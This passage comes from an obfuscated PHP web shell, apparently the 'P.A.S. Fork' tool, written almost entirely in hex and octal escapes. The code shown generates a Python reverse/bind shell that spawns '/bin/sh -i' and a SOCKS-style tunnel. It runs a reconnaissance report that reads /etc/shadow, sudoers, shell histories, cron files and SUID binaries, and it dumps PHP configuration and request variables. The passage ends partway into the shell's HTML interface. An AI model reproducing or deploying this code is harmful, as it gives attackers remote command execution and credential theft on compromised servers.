"\42\x29\x3b" . "\12"; if ($v) { $p .= "\40\40\151\146\40\x28\103\x2e\162\x65\143\x76\50\61\x29\x21\75\x62\42\x5c\x78\x30\x31\42\51\40\x6f\162\40\x28\103\x2e\162\x65\x63\x76\50\x73\x74\162\165\143\x74\x2e\x75\x6e\x70\141\143\153\x28\42\x42\x22\x2c\x20\103\x2e\x72\145\x63\166\50\x31\x29\51\x5b\60\x5d\x29\x21\75\x62\x22" . $v[0] . "\42\x29\40\x6f\162\40\x28\x43\56\162\x65\143\166\x28\163\164\162\x75\x63\x74\x2e\x75\x6e\x70\x61\143\153\50\42\x42\x22\x2c\x20\103\x2e\x72\145\143\166\50\61\51\x29\x5b\x30\135\x29\x21\75\142\42" . $v[1] . "\42\x29\72" . "\12" . "\40\40\x20\103\x2e\x73\x65\156\x64\50\142\x22\x5c\170\x30\61\x5c\x78\x46\x46\42\51\x3b" . "\xa\x20\x20\x20\103\56\x73\x68\165\x74\x64\157\x77\x6e\x28\x30\51\73\xa\x20\x20\x20\x43\x2e\143\x6c\x6f\x73\x65\50\51\73\xa\40\x20\x20\162\145\x74\x75\162\156\x3b\12" . "\x20\40\x43\56\163\145\156\144\50\142\42\134\170\60\61\x5c\x78\60\60\x22\x29\73" . "\xa"; } $p .= "\40\x20\x69\146\x20\x43\x2e\x72\145\143\166\50\61\x29\x21\75\x62\x22\134\170\x30\x35\x22\x3a" . "\12\x20\40\x20\103\56\x73\150\x75\x74\x64\157\x77\x6e\x28\x32\51\73\xa\40\x20\x20\x43\56\143\154\157\163\145\50\x29\x3b\12\x20\40\x20\x72\x65\x74\x75\x72\x6e\x3b\12\x20\x20\143\40\x3d\x20\103\x2e\162\145\143\166\x28\x31\51\73\12" . "\x20\40\151\146\40\103\56\162\145\143\x76\50\61\51\41\x3d\142\42\x5c\170\60\60\x22\x3a" . "\xa\x20\x20\x20\103\56\x73\x68\165\164\x64\x6f\x77\x6e\x28\62\x29\x3b\xa\40\x20\40\103\56\x63\154\157\x73\x65\x28\x29\73\xa\x20\40\x20\x72\x65\164\165\x72\x6e\x3b\xa\40\40\x74\x20\x3d\40\x43\x2e\162\145\143\166\50\61\51\x3b\xa" . "\x20\40\151\146\x20\x74\75\75\142\x22\134\x78\x30\x31\x22\72" . "\xa\40\x20\40\141\x20\x3d\x20\103\x2e\162\x65\x63\166\50\x34\x29\73\xa" . "\x20\x20\x20\x64\x20\75\x20\163\x6f\143\153\145\x74\56\151\x6e\145\x74\137\x6e\164\x6f\x61\x28\x61\51\x3b" . "\12" . "\x20\40\145\x6c\151\x66\40\164\75\75\x62\42\134\170\x30\63\x22\x3a" . "\xa\x20\x20\40\x61\40\75\40\103\x2e\x72\x65\143\x76\50\x31\x29\73\12" . "\x20\x20\40\144\40\x3d\40\x43\56\162\x65\x63\166\x28\x73\164\x72\x75\143\x74\56\x75\x6e\160\x61\x63\153\x28\42\x42\42\54\40\x61\x29\x5b\x30\135\51\x3b" . "\xa\40\40\x20\x61\x20\53\75\x20\x64\73\12" . "\40\x20\x65\154\151\x66\x20\x74\75\75\142\42\x5c\170\x30\x34\42\72" . "\12\x20\40\x20\141\x20\x3d\x20\103\x2e\x72\x65\143\x76\50\61\x36\51\x3b\12" . "\40\x20\40\144\x20\75\x20\163\157\143\153\x65\164\56\x69\x6e\x65\x74\x5f\x6e\x74\157\x70\50\x73\157\x63\x6b\145\x74\56\x41\x46\x5f\x49\116\105\x54\66\54\x20\x61\51\73" . "\12\x20\40\x65\x6c\163\x65\72\xa\40\40\x20\103\x2e\x73\150\x75\164\144\x6f\x77\x6e\50\62\x29\x3b\xa\x20\40\x20\x43\56\x63\x6c\x6f\143\145\50\51\73\12\40\x20\40\x72\145\x74\x75\162\x6e\73\xa\40\40\x70\x20\75\40\x43\x2e\x72\145\x63\x76\x28\x32\x29\73\xa\x20\40\x61\40\x2b\x3d\x20\x70\x3b\xa" . "\40\40\x69\x66\40\x63\x21\75\x62\42\x5c\170\60\61\42\x3a" . "\12" . "\x20\40\x20\x43\x2e\x73\x65\156\144\50\142\x22\134\170\x30\65\134\x78\x30\x37\134\170\x30\x30\42\53\164\x2b\141\x29\73" . "\12\40\40\x20\103\x2e\x73\150\165\164\x64\x6f\167\156\x28\60\51\73\xa\40\x20\40\103\56\x63\x6c\157\x73\x65\50\51\x3b\xa\x20\40\x20\x72\145\164\165\x72\x6e\x3b\xa\40\x20\x44\x20\x3d\40\x73\x6f\143\153\x65\x74\56\x73\x6f\143\153\x65\164\x28\163\157\x63\x6b\x65\x74\x2e\101\x46\137\x49\116\x45\x54\x2c\163\x6f\143\x6b\145\164\56\123\x4f\x43\x4b\137\123\124\122\105\x41\x4d\x29\x3b\12\40\40\164\x72\x79\x3a\12" . "\40\x20\x20\x44\56\143\x6f\156\156\145\143\164\50\x28\x64\54\x20\x73\x74\x72\x75\143\x74\x2e\x75\x6e\160\x61\x63\x6b\50\x22\76\x48\42\x2c\x20\x70\51\133\60\135\51\x29\x3b" . "\12\x20\x20\145\170\143\145\160\x74\72\xa" . "\40\x20\x20\x43\56\163\x65\x6e\144\x28\142\42\x5c\x78\60\x35\134\x78\x30\65\134\x78\60\x30\x22\53\164\53\141\51\x3b" . "\xa\x20\40\40\x43\x2e\163\x68\165\164\x64\157\x77\x6e\50\60\x29\73\xa\x20\x20\x20\x43\x2e\143\x6c\157\163\145\x28\x29\x3b\12\40\40\40\104\56\x63\x6c\157\163\x65\x28\51\73\12\40\x20\145\x6c\x73\x65\x3a\xa" . "\x20\x20\x20\103\x2e\163\x65\x6e\144\50\x62\42\134\x78\60\x35\134\x78\x30\x30\x5c\x78\60\60\x22\53\164\53\141\51\x3b" . "\12\x20\40\40\x43\56\163\x65\x74\142\x6c\x6f\143\153\x69\x6e\147\x28\x30\51\x3b\xa\x20\x20\x20\x44\56\163\x65\164\142\154\157\x63\x6b\151\156\x67\50\60\51\x3b\12\x20\40\40\167\x68\x69\154\145\40\x54\x72\165\145\x3a\12\40\40\x20\40\x72\x2c\167\54\x65\40\75\x20\163\145\154\x65\143\164\56\163\x65\154\x65\x63\x74\50\133\x43\x2c\x44\135\x2c\40\x5b\x5d\54\x20\x5b\x5d\x29\73\12\40\40\x20\x20\151\x66\x20\154\145\x6e\x28\162\x29\76\60\72\xa\x20\x20\x20\x20\40\164\162\x79\x3a\xa\x20\40\x20\x20\x20\x20\x64\40\75\x20\x72\x5b\x30\135\56\162\145\x63\x76\50\61\x30\62\64\60\51\x3b\xa\40\40\x20\40\40\x20\151\x66\x20\x72\x5b\x30\135\75\x3d\x43\72\xa\40\40\40\40\x20\40\40\104\x2e\163\x65\x6e\x64\x28\x64\x29\x3b\12\x20\40\40\x20\x20\x20\145\x6c\x73\145\72\12\x20\x20\x20\x20\40\40\40\103\x2e\163\145\x6e\x64\x28\144\51\73\12\40\40\x20\x20\40\x65\170\x63\145\x70\x74\x3a\xa\40\x20\40\40\40\x20\x44\56\143\x6c\x6f\163\x65\x28\x29\x3b\xa\40\40\x20\40\40\40\x43\x2e\x63\x6c\157\163\x65\50\51\73\xa\40\40\x20\x20\x20\x20\x62\x72\x65\141\x6b\x3b\12\x20\167\x68\151\154\x65\40\124\162\165\x65\x3a\12\40\x20\x28\103\54\x41\x29\x20\75\x20\123\56\141\143\143\x65\x70\x74\x28\51\x3b\xa\x20\40\164\x20\75\x20\164\x68\162\x65\141\144\x69\156\x67\x2e\x54\150\x72\x65\x61\144\50\164\x61\162\x67\x65\x74\75\x70\x72\143\x73\x73\54\141\162\147\163\75\x28\x43\x2c\51\51\x3b\xa\40\40\164\56\144\x61\x65\155\x6f\x6e\x20\x3d\40\124\x72\x75\x65\73\xa\40\x20\164\56\163\x74\x61\162\164\x28\x29\x3b"; } else { $p .= "\x20\160\162\151\156\164\x28\x22\x5b\117\x4b\135\x20\123\x75\143\143\145\x73\163\146\165\x6c\40\143\x6f\x6e\x6e\x65\x63\164\145\144\x21\x5c\156\x22\51\x3b" . "\xa\40\x73\171\x73\x2e\x73\164\x64\x6f\x75\164\56\146\x6c\165\x73\150\x28\51\73\12" . "\x20\x6f\163\56\144\165\160\x32\x28" . $s . "\56\x66\151\x6c\x65\156\157\x28\x29\x2c\60\51\73\xa" . "\x20\x6f\x73\56\x64\165\x70\62\50" . $s . "\56\x66\151\154\145\156\157\50\51\54\61\x29\x3b\xa" . "\x20\x6f\x73\x2e\144\165\160\x32\x28" . $s . "\x2e\146\x69\154\x65\x6e\x6f\x28\x29\x2c\x32\51\x3b\xa" . "\x20\x70\x72\151\156\164\x28\42\134\156\43\x20\120\56\x41\x2e\x53\56\x20\106\x6f\162\153\40\x76\x2e" . VER . "\40" . $k . "\134\x6e\134\x6e\x22\51\73" . "\12\x20\x73\171\x73\56\163\164\144\157\x75\164\56\146\154\x75\163\x68\x28\51\73\12\x20" . (getCmdOpt($D["\145"], "\164", "\x4e") === "\x4e" ? "\163\x75\142\x70\162\x6f\x63\x65\x73\x73\56\x50\157\x70\x65\x6e" : "\x70\164\171\x2e\163\x70\x61\x77\x6e") . "\x28\x5b\42" . getCmdOpt($D["\145"], "\163", NIX ? "\x2f\x62\x69\156\x2f\163\x68\42\54\x22\x2d\151" : "\143\x6d\x64") . "\x22\135\51\x3b" . "\12\x65\170\143\x65\x70\x74\x20\105\x78\x63\145\x70\x74\x69\x6f\x6e\40\141\x73\40\145\72\xa" . "\40\x70\x72\151\x6e\164\50\145\x29\x3b"; } $s = getCmdOpt($D["\145"], "\x69", NIX ? "\x2f\x75\x73\162\57\142\x69\156\x2f\160\x79\x74\150\x6f\x6e" : "\x70\171\164\150\x6f\x6e\56\145\x78\x65"); if ($v = tempFile($p)) { exe($s . "\x20" . $v . "\40\x26", $D["\x66"], $D["\163"]); delFile($v); } else { exe("\145\x63\x68\x6f\x20\47" . $p . "\47\x7c\40" . $s . "\40\55\40\x26", $D["\146"], $D["\x73"]); } } elseif ($k === "\x72\x65\x70\x6f\x72\x74") { $i = getCmdOpt($D["\145"], "\163", ''); if (NIX) { $t = "\145\x63\x68\x6f\x20\47\40\55\55\x2d\x2d\x2d\x2d\55\55\x2d\55\x2d\55\55\55\x2d\55\55\55\x2d\55\55\55\55\55\55\x2d\55\55\x2d\x2d\x2d\55\55\x2d\55\x2d\x2d\x2d\55\x2d\55\x2d\55\55\55\55\55\55\x2d\x27\73"; $h = "\x65\143\150\157\73\x65\143\150\157\x3b" . $t . "\145\143\150\157\x20\47\174\47\40\x20"; $v = "\x65\x63\150\157\x20\47\52\x20\40\124\x68\x69\163\40\x72\x65\160\x6f\162\x74\x20\143\x72\x65\x61\x74\145\144\x20\x62\x79\40\x50\56\x41\56\123\56\x20\x46\x6f\x72\x6b\x20\x76\56" . VER . "\x27\x3b\x65\143\x68\157\x20\47\x2a\x20\40\47\x60\x64\141\x74\x65\x20\x2d\x75\40\53\47\x25\131\x2d\x25\x6d\x2d\45\x64\40\45\x48\72\x25\x4d\72\x25\123\x20\45\132\x27\x60\x3b"; if (strpos($i, "\157") === FALSE) { $v .= $h . "\117\123\x20\x49\144\x65\x6e\164\x69\146\x69\143\x61\x74\x69\x6f\156\73" . $t . "\145\x63\x68\157\x20\47\75\x3d\x3e\40\165\x6e\141\155\145\x20\x3c\75\75\x27\x3b" . "\x75\156\x61\155\x65\40\55\x61\73\145\x63\x68\x6f\73\x74\x61\151\154\40\x2d\x6e\x20\x2b\61\40\57\160\162\x6f\x63\57\x2a\166\145\162\x73\151\x6f\156\52\40\57\x65\164\143\x2f\x2a\x69\163\x73\165\x65\x2a\x20\57\145\164\x63\57\x2a\162\145\x6c\x65\x61\163\x65\x2a\40\x2f\145\164\x63\57\x2a\166\x65\x72\x73\x69\x6f\156\52\40\x2f\x65\x74\143\57\155\x6f\x74\x64\73"; } if (strpos($i, "\x65") === FALSE) { $v .= $h . "\105\x6e\x76\151\162\x6f\x6e\x6d\x65\156\x74\x3b" . $t . "\145\x6e\166\73"; } if (strpos($i, "\165") === FALSE) { $v .= $h . "\125\163\x65\162\163\40\x61\x6e\x64\x20\107\x72\x6f\x75\160\163\x3b" . $t . "\x65\x63\150\x6f\40\47\x3d\x3d\x3e\x20\x69\x64\40\74\75\x3d\47\73" . "\151\x64\73\145\x63\150\157\x3b" . "\145\143\x68\157\x20\x27\75\x3d\x3e\x20\x77\x68\x6f\141\155\x69\40\x3c\75\x3d\47\x3b" . "\x77\x68\157\141\x6d\x69\73\x65\x63\x68\x6f\x3b\x74\141\x69\154\40\x2d\156\40\53\x31\40\57\x65\164\x63\x2f\52\x70\141\x73\x73\167\144\52\x20\x2f\x65\x74\x63\x2f\x2a\147\x72\x6f\165\x70\52\x20\x2f\x65\x74\x63\x2f\52\163\x68\x61\144\x6f\x77\x2a\x20\57\x65\x74\143\x2f\163\x75\144\x6f\x65\x72\x73\73\145\x63\150\157\73" . "\x65\143\x68\157\x20\x27\x3d\x3d\x3e\40\x77\x68\x6f\40\74\75\75\47\x3b" . "\x77\150\157\73"; } if (strpos($i, "\154") === FALSE) { $v .= $h . "\114\x61\x6e\147\x3b" . $t . "\160\150\x70\x20\x2d\x76\x7c\150\145\x61\144\x20\x2d\x6e\x31\73\160\x79\x74\150\x6f\x6e\x20\55\126\x20\62\76\46\x31\73\160\x65\162\x6c\x20\x2d\x76\x7c\150\145\141\144\x20\55\156\x32\174\x74\x61\x69\x6c\x20\55\x6e\x31\73\x72\x75\142\171\x20\x2d\x76\73\147\x63\x63\x20\x2d\55\x76\x65\162\x73\151\x6f\156\x7c\x68\145\141\x64\40\x2d\156\61\73"; } if (strpos($i, "\x70") === FALSE) { $v .= $h . "\120\162\x6f\143\x65\163\x73\145\x73\73" . $t . "\160\x73\x20\x2d\x75\141\x78\x3b"; } if (strpos($i, "\143") === FALSE) { $v .= $h . "\x43\x50\x55\73" . $t . "\x63\141\164\x20\x2f\160\x72\x6f\x63\x2f\x63\x70\165\x69\156\146\157\73"; } if (strpos($i, "\156") === FALSE) { $v .= $h . "\x4e\x65\164\167\x6f\x72\153\73" . $t . "\x74\141\151\154\40\x2d\156\40\x2b\61\x20\x2f\145\x74\143\57\x68\x6f\x73\x74\52\73" . "\x65\143\x68\157\x20\x27\x3d\x3d\x3e\40\114\151\163\x74\x65\x6e\x69\156\x67\x20\160\157\162\164\163\40\74\x3d\x3d\x27\73" . "\x6e\145\x74\163\x74\141\164\x20\55\x6c\156\x3b" . "\145\x63\150\157\40\47\x3d\75\x3e\40\x49\120\x20\143\157\x6e\146\x69\x67\40\74\x3d\75\x27\x3b" . "\151\146\143\157\x6e\146\151\x67\40\x2d\x61\x3b\40\x69\160\x20\141\73"; } if (strpos($i, "\162") === FALSE) { $v .= $h . "\x43\x72\x6f\x6e\x3b" . $t . "\164\x61\x69\154\40\x2d\156\40\53\x31\40\57\x65\x74\x63\57\x2a\143\x72\157\156\x74\x61\x62\73" . "\x65\143\150\x6f\x20\47\75\x3d\76\40\x46\x69\x6c\145\163\x20\74\75\x3d\47\73" . "\x6c\163\40\55\x61\x6c\x20\x2f\x65\164\x63\x2f\52\143\x72\157\156\x2a\73\x6c\163\x20\55\141\154\40\x2f\x76\141\x72\x2f\x73\160\x6f\x6f\x6c\x2f\x63\162\x6f\156\57\x2a\x3b\x65\143\150\157\x3b"; } if (strpos($i, "\x68") === FALSE) { $v .= $h . "\x48\151\163\x74\157\162\151\x65\163\x3b" . $t . "\x66\x6f\x72\40\x64\x20\x69\156\x20\x60\x63\165\x74\40\x2d\144\x22\72\x22\40\55\146\66\x20\x2f\x65\164\x63\x2f\x70\141\163\x73\167\x64\x60\73\x64\x6f\40\154\x73\40\55\141\154\x20\x24\144\x2f\x2e\52\x68\x69\163\164\x2a\73\144\x6f\156\145\x3b"; } if (strpos($i, "\x66") === FALSE) { $v .= $h . "\x46\151\x6c\145\40\x53\x79\x73\x74\145\155\73" . $t . "\145\143\x68\157\x20\x27\x3d\x3d\x3e\40\155\157\x75\x6e\164\x20\74\75\x3d\47\x3b\155\157\165\x6e\x74\73\145\x63\150\157\x3b\145\x63\x68\157\x20\x27\x3d\75\76\40\x44\x69\163\x6b\163\x20\x3c\75\75\x27\73\x64\x66\x20\x2d\150\x3b\145\x63\x68\157\73\x65\x63\150\157\x20\x27\x3d\75\76\x20\57\x20\x3c\x3d\75\47\x3b\x6c\163\x20\55\x61\x6c\40\57\73\x65\143\x68\157\x3b\145\143\x68\157\40\47\75\75\x3e\40\57\x62\157\x6f\x74\40\x3c\75\x3d\x27\x3b\154\163\40\x2d\x61\154\x20\x2f\x62\x6f\x6f\x74\x3b\x65\143\x68\x6f\73\x65\143\x68\157\40\x27\x3d\75\76\40\57\145\x74\143\40\x3c\75\x3d\47\73\x6c\163\40\55\141\x6c\x20\x2f\145\164\143\x3b\x65\143\x68\157\x3b\x65\x63\x68\157\x20\47\75\75\76\x20\57\164\155\x70\40\74\x3d\x3d\x27\73\x6c\x73\40\x2d\x61\x6c\40\x2f\x74\x6d\x70\x3b\145\x63\x68\157\x3b\x65\143\150\157\40\47\75\x3d\x3e\x20\x4c\151\x62\163\40\x3c\75\x3d\x27\73\154\x73\x20\x2d\x61\154\40\x2d\x2d\x66\x75\154\x6c\55\164\x69\155\x65\40\x2f\x6c\x69\x62\x2a\73\145\x63\150\x6f\73"; if (strpos($i, "\163") === FALSE) { $v .= "\145\143\150\157\40\x27\x3d\75\x3e\40\x53\x55\111\104\x20\106\x69\x6c\145\x73\x20\x3c\x3d\75\x27\x3b" . "\x66\x69\x6e\x64\40\57\x20\x2d\164\171\x70\145\x20\x66\x20\x2d\160\x65\x72\x6d\x20\x2d\165\x2b\163\x20\55\154\x73\x3b"; } } } else { $t = "\145\x63\150\x6f\40\x20\x2d\55\x2d\55\55\x2d\x2d\x2d\x2d\x2d\55\55\x2d\55\55\x2d\55\x2d\x2d\55\55\55\55\55\x2d\55\x2d\55\x2d\x2d\x2d\x2d\55\x2d\x2d\x2d\x2d\x2d\x2d\55\55\x2d\55\55\x2d\55\55\55\x2d\x20\x26\40"; $h = $t . "\145\143\150\x6f\x20\136\x7c\x20\x20"; $v .= $h . "\117\123\40\x26" . $t . "\162\145\x67\x20\161\165\145\162\171\40\42\x48\113\105\131\137\114\x4f\103\x41\x4c\x5f\x4d\101\x43\x48\x49\116\105\134\x53\x4f\106\124\x57\x41\122\105\134\115\x69\143\162\x6f\x73\157\x66\x74\134\x57\151\x6e\144\x6f\167\x73\x20\x4e\124\134\103\165\x72\x72\x65\x6e\x74\126\145\x72\x73\151\157\x6e\x22\40\57\166\40\x50\162\157\x64\165\143\x74\116\x61\155\x65\40\x26\x20"; if (strpos($i, "\x73") === FALSE) { $v .= $h . "\123\171\x73\164\145\x6d\40\111\156\x66\x6f\x20\46\40" . $t . "\163\171\x73\x74\145\155\151\x6e\146\x6f\40\46\40"; } if (strpos($i, "\145") === FALSE) { $v .= $h . "\x45\x6e\x76\x69\162\157\156\x6d\x65\156\x74\x20\x26\x20" . $t . "\x53\105\124\x20\46\40"; } if (strpos($i, "\165") === FALSE) { $v .= $h . "\x55\x73\x65\x72\163\x20\141\x6e\144\40\107\x72\157\x75\x70\x73\x20\46\40" . $t . "\x4e\105\124\x20\125\x53\x45\122\40\x26\40\x4e\105\x54\40\114\x4f\103\101\x4c\107\x52\x4f\x55\x50\40\x26\40\x4e\x45\124\40\107\122\117\x55\x50\40\46\x20"; } if (strpos($i, "\164") === FALSE) { $v .= $h . "\124\x61\163\153\x73\40\x26\40" . $t . "\x73\143\150\x74\x61\163\x6b\163\x20\57\166\x20\x26\40"; } if (strpos($i, "\164") === FALSE) { $v .= $h . "\120\x72\x6f\143\x65\163\163\145\x73\x20\x26\40" . $t . "\x74\x61\163\153\154\x69\x73\x74\x20\x2f\x53\x56\x43\40\46\x20"; } if (strpos($i, "\156") === FALSE) { $v .= $h . "\x4e\x65\164\167\x6f\x72\153\x20\46\40" . $t . "\145\x63\x68\x6f\x20\75\x3d\x5e\76\40\151\160\x63\x6f\x6e\x66\151\x67\40\x5e\x3c\x3d\75\40\x26\40\x69\160\x63\157\x6e\146\x69\147\40\57\141\154\154\40\x26\x20\145\x63\150\x6f\x20\x3d\x3d\136\76\x20\x6e\x65\164\x73\164\141\x74\x20\136\74\x3d\x3d\x20\x26\40\x6e\x65\x74\x73\x74\141\164\x20\x2d\x61\156\157\x20\x26\40\145\143\150\x6f\40\x3d\75\x5e\x3e\x20\x46\x69\x6c\145\163\40\x5e\x3c\x3d\75\40\46\40\164\171\x70\x65\40\45\163\x79\163\164\x65\x6d\x72\x6f\157\164\45\x5c\x73\171\x73\164\x65\x6d\63\x32\134\x64\162\x69\x76\145\x72\163\x5c\145\164\143\134\52\40\46\40"; } if (strpos($i, "\x72") === FALSE) { $v .= $h . "\123\x68\x61\x72\145\x20\46\x20" . $t . "\116\105\x54\x20\x53\x48\x41\x52\x45\40\46\40"; } } $i = getCmdOpt($D["\x65"], "\x66", FALSE); exe($v, $D["\146"], $D["\x73"], TRUE, $i ? "\40\61\76" . $i : ''); if ($i) { echo "\122\145\160\x6f\x72\164\x20\163\141\166\x65\144\x20\141\163\x20", $i, "\xa"; } } else { $s = NIX ? "\73" : "\46"; $v = "\143\x64\x20" . (NIX ? nesc($D["\x70"]) : wesc($D["\x70"])) . $s; if ($D["\x65"] !== '') { $v .= $D["\145"]; if (substr($D["\x65"], -1) !== $s) { $v .= $s; } } $v .= "\145\x63\x68\157\x20" . "\x3\x1e\x2" . $s . (NIX ? "\167\150\157\x61\x6d\x69" : "\x65\143\150\157\x20\45\x75\163\145\x72\156\141\155\x65\x25") . $s . "\150\x6f\163\x74\156\x61\x6d\x65" . $s . (NIX ? "\160\167\x64" : "\x63\144"); exe($v, $D["\x66"], $D["\163"], !isset($D["\x68"])); } sDie("\3\36\27\x4\x10"); break; default: if ($D["\x74"] === "\155") { infMain(); sDie(); } if ($D["\x74"] === "\x70") { echo "\x7b\x22\x43\157\156\146\x69\147\163\x22\x3a\x7b"; $a = array(); $b = FALSE; if (PHP_VERSION >= "\65\x2e\x32\56\64") { $a[] = php_ini_loaded_file(); } if (PHP_VERSION >= "\x34\x2e\63") { $a[] = php_ini_scanned_files(); } if ($a) { $b = TRUE; echo "\42\x4c\157\x61\x64\145\144\x20\146\x69\x6c\145\163\42\x3a"; jsonEcho(implode("\54\12", $a)); } if (PHP_VERSION >= "\64\x2e\62" && is_array($a = ini_get_all())) { foreach ($a as $k => $v) { if ($b) { echo "\54"; } else { $b = TRUE; } jsonEcho($k); echo "\x3a"; jsonEcho($v["\154\157\x63\141\154\x5f\x76\141\x6c\x75\145"]); } } echo "\175"; echo "\x2c\x22\x4d\x61\x69\x6e\40\x43\157\156\x73\164\x61\x6e\x74\163\42\x3a\x7b"; $b = FALSE; foreach (array("\x50\x48\120\137\x4f\123", "\120\x48\x50\137\x57\x49\x4e\x44\117\x57\x53\x5f\126\x45\x52\123\x49\x4f\x4e\x5f\115\x41\x4a\x4f\x52", "\x50\x48\120\x5f\x57\x49\116\x44\117\127\x53\x5f\126\105\122\123\111\x4f\116\137\115\x49\116\117\x52", "\120\x48\x50\137\x57\x49\x4e\x44\x4f\x57\123\137\x56\x45\122\123\x49\117\116\x5f\x42\125\111\114\104", "\x50\110\120\x5f\x57\x49\116\104\x4f\x57\x53\137\x56\105\122\x53\x49\x4f\116\x5f\123\x50\x5f\115\101\x4a\117\x52", "\120\110\120\137\x57\x49\116\x44\117\x57\123\x5f\x56\x45\x52\x53\111\117\116\137\x53\120\137\115\x49\x4e\117\x52", "\x50\x48\x50\x5f\127\x49\116\x44\x4f\127\x53\137\x56\x45\x52\x53\x49\x4f\x4e\137\x53\125\111\x54\105\x4d\101\123\113", "\x50\110\x50\137\x57\x49\x4e\x44\117\x57\123\137\126\x45\122\123\111\117\116\137\120\x4c\101\x54\106\117\x52\x4d", "\x50\110\x50\x5f\127\111\116\104\x4f\x57\x53\x5f\126\105\122\123\111\117\x4e\x5f\x50\122\117\x44\x55\103\x54\x54\x59\x50\x45", "\x50\110\120\x5f\x57\x49\x4e\x44\x4f\127\x53\x5f\x4e\124\x5f\x57\x4f\122\x4b\x53\x54\x41\x54\111\x4f\116", "\x50\110\120\137\x57\111\x4e\x44\x4f\127\123\137\x4e\x54\137\123\x45\x52\126\105\122", "\120\x48\x50\x5f\x57\111\116\104\117\x57\x53\x5f\x4e\124\x5f\x44\117\115\101\x49\x4e\x5f\x43\117\116\124\x52\x4f\x4c\114\105\x52", "\x50\110\120\x5f\x53\x41\x50\x49", "\120\110\120\137\126\105\x52\123\111\x4f\116", "\x50\110\120\x5f\x42\111\116\101\x52\131", "\x50\110\120\137\120\x52\x45\x46\x49\x58", "\x50\x48\x50\x5f\x42\111\x4e\x44\111\122", "\120\x48\x50\137\114\x49\x42\104\111\x52", "\x50\110\x50\x5f\123\x48\x4c\111\x42\137\123\125\106\x46\111\x58", "\x50\110\120\137\105\x58\124\105\116\x53\111\117\x4e\137\x44\x49\x52", "\120\x48\x50\137\104\101\x54\x41\104\x49\122", "\120\x48\x50\137\x43\x4f\116\x46\x49\x47\137\106\x49\114\x45\x5f\x50\x41\124\110", "\120\x48\x50\x5f\103\x4f\x4e\x46\x49\107\137\106\x49\114\105\137\123\x43\x41\116\137\104\x49\x52", "\x50\x48\120\x5f\115\x41\x4e\104\111\x52", "\104\105\106\x41\125\114\124\x5f\x49\116\x43\x4c\125\104\x45\137\120\101\124\x48", "\120\x48\x50\137\x53\x59\123\103\x4f\x4e\106\x44\111\122", "\120\x48\x50\x5f\114\117\103\101\114\123\124\101\124\x45\x44\111\122", "\104\x49\x52\105\103\x54\x4f\122\131\x5f\x53\x45\120\x41\122\x41\x54\x4f\x52", "\x50\101\124\110\137\x53\x45\x50\101\122\x41\x54\x4f\x52", "\x50\x48\120\137\115\x41\x58\x50\101\124\110\x4c\105\x4e", "\x50\x48\120\137\x49\116\x54\x5f\115\101\x58", "\x50\110\x50\x5f\x49\x4e\124\137\123\x49\132\x45", "\120\105\101\122\137\x49\116\x53\124\x41\x4c\114\137\x44\x49\122", "\x50\x45\x41\x52\137\105\x58\x54\105\116\123\x49\117\x4e\137\104\x49\x52") as $v) { if (defined($v)) { if ($b) { echo "\x2c"; } else { $b = TRUE; } echo "\42", $v, "\x22\x3a"; jsonEcho(constant($v)); } } echo "\x7d"; if (is_array($a = get_loaded_extensions())) { echo "\54\x22\115\x6f\144\165\x6c\145\163\x22\72\x7b"; $b = FALSE; $i = array("\x44\x4f\124\x54\105\104\x5f\126\x45\x52\x53\x49\x4f\116", "\126\105\122\x53\x49\x4f\116", "\126\x45\x52\x53\111\117\x4e\x5f\124\105\130\124"); foreach ($a as $v) { if ($b) { echo "\54"; } else { $b = TRUE; } jsonEcho($v); echo "\72"; if (!($k = phpversion($v))) { $v = strtoupper($v); foreach ($i as $n) { if (defined($v . "\x5f" . $n)) { $k = constant($v . "\x5f" . $n); break; } } } if ($k) { jsonEcho($k); } else { echo "\42\x22"; } } echo "\175"; } if (PHP_VERSION >= "\x35") { echo "\54\42\x53\x74\162\x65\141\x6d\163\x22\72\173\42\x54\x72\x61\156\163\x70\x6f\162\164\x73\x22\72"; jsonEcho(implode("\x2c\40", stream_get_transports())); echo "\54\42\x57\162\x61\160\160\145\x72\163\42\x3a"; jsonEcho(implode("\54\x20", stream_get_wrappers())); echo "\x2c\42\106\x69\x6c\164\145\162\x73\42\72"; jsonEcho(implode("\54\40", stream_get_filters())); echo "\x7d"; } $b = FALSE; foreach (array("\x5f\105\x4e\126", "\x5f\x53\x45\122\x56\x45\122", "\137\x53\x45\123\x53\x49\x4f\x4e", "\x5f\122\105\x51\125\x45\123\x54", "\x5f\x47\x45\124", "\x5f\x50\117\123\124", "\137\x43\x4f\117\x4b\x49\105", "\137\106\111\x4c\x45\123", "\x48\x54\x54\120\137\x52\101\127\x5f\x50\x4f\123\x54\137\x44\x41\x54\101", "\141\162\147\x63", "\x61\162\147\166") as $v) { if (isset(${$v}) && count(${$v}) > 0) { if (!$b) { echo "\x2c\x22\107\154\157\142\141\154\x20\x56\x61\162\151\x61\x62\x6c\145\163\x22\x3a\x7b"; } foreach (${$v} as $k => $i) { if ($b) { echo "\x2c"; } else { $b = TRUE; } jsonEcho($v . "\133" . $k . "\x5d"); echo "\72"; jsonEcho(print_r($i, TRUE)); } } } if ($b) { echo "\175"; } sDie("\175"); } break; } } goto uzj97; DoDlg: define("\126\x45\x52", "\61\x2e\x33"); goto N7XEz; n_9LQ: function getData($str) { $ln = $GLOBALS["\120\122\x45\x4c\x45\x4e"]; $pref = substr($str, 0, $ln); $data = substr($str, $ln); return $pref === substr($GLOBALS["\x45\116\103\x4b\x45\131"], 0, $ln) ? $data : false; } goto QKFKI; CLGau: function getINI($s, &$v) { $v = trim(ini_get($s)); return $v !== ''; } goto hjSIg; yR2aE: ?>
</title><style>*{box-sizing:border-box;outline:0}:focus{outline:none;}:disabled{opacity:.5}::-moz-focus-inner{padding:0;border:0}html{height:100%;padding:0 0 8px 0;background-color:#f0f0f0}body{background:#f0f0f0;position:relative;display:flex;margin:0 auto 8px auto;width:1000px;min-height:100%;font:normal 11px/1.5 Verdana,sans-serif;border:1px solid #fff;box-shadow:0 0 10px rgba(0,0,0,.5);flex-direction:column}iframe{display:none}a,a:visited{color:unset;text-decoration:none}pre{display:block}fieldset{border:1px solid #c7c7c7}table{font-size:12px;width:100%;border-collapse:collapse}th,td{padding:3px 5px;border:1px solid #dfdfdf}thead,tfoot{color:#fcfcfc;background:#7f7f7f}tbody{background:#f7f7f7}tbody tr:hover{background:#ececec}tfoot th{padding:8px 0 4px 2px;text-align:left}tfoot button{width:90px}input,select,button,textarea{margin:1px 2px;font:11px/1.4 Verdana,sans-serif;background:#eaeaea;border:1px solid 